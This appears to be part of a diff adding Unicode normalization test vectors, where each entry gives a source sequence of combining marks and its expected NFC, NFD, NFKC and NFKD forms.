+{ source: [0x0061, 0x0650, 0x0651, 0x061A, 0x0619, 0x0062], NFC: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062] },
+{ source: [0x0061, 0x0652, 0x0651, 0x061A, 0x0651, 0x0062], NFC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062] },
+{ source: [0x0061, 0x0651, 0x0652, 0x0651, 0x061A, 0x0062], NFC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062] },
+{ source: [0x0061, 0x0670, 0x0652, 0x0651, 0x0652, 0x0062], NFC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062] },
+{ source: [0x0061, 0x0652, 0x0670, 0x0652, 0x0651, 0x0062], NFC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0653, 0x0062], NFC: [0x00E0, 0x05AE, 0x0653, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0653, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0653, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0653, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0653, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0654, 0x0062], NFC: [0x00E0, 0x05AE, 0x0654, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0654, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0654, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0654, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0654, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0655, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0655, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0655, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0655, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0655, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0655, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0655, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0655, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0655, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0655, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0656, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0656, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0656, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0656, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0656, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0656, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0656, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0656, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0656, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0656, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0657, 0x0062], NFC: [0x00E0, 0x05AE, 0x0657, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0657, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0657, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0657, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0657, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0658, 0x0062], NFC: [0x00E0, 0x05AE, 0x0658, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0658, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0658, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0658, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0658, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0659, 0x0062], NFC: [0x00E0, 0x05AE, 0x0659, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0659, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0659, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0659, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0659, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065A, 0x0062], NFC: [0x00E0, 0x05AE, 0x065A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065B, 0x0062], NFC: [0x00E0, 0x05AE, 0x065B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x065C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x065C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x065C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x065C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x065C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x065C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x065C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x065C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x065C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x065C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065D, 0x0062], NFC: [0x00E0, 0x05AE, 0x065D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065E, 0x0062], NFC: [0x00E0, 0x05AE, 0x065E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x065F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x065F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x065F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x065F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x065F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x065F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x065F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x065F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x065F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x065F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0711, 0x0670, 0x0652, 0x0670, 0x0062], NFC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062] },
+{ source: [0x0061, 0x0670, 0x0711, 0x0670, 0x0652, 0x0062], NFC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D6, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D7, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D8, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D9, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DA, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DB, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DC, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06DF, 0x0062], NFC: [0x00E0, 0x05AE, 0x06DF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06DF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06DF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06DF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06DF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06DF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E0, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E1, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E2, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x06E3, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x06E3, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x06E3, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x06E3, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x06E3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x06E3, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x06E3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x06E3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x06E3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x06E3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E4, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E7, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06E8, 0x0062], NFC: [0x00E0, 0x05AE, 0x06E8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06E8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06E8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06E8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06E8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06E8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x06EA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x06EA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x06EA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x06EA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x06EA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x06EA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x06EA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x06EA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x06EA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x06EA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06EB, 0x0062], NFC: [0x00E0, 0x05AE, 0x06EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x06EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x06ED, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x06ED, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x06ED, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x06ED, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x06ED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x06ED, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x06ED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x06ED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x06ED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x06ED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0C55, 0x0711, 0x0670, 0x0711, 0x0062], NFC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKC: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062], NFKD: [0x0061, 0x0670, 0x0711, 0x0711, 0x0C55, 0x0062] },
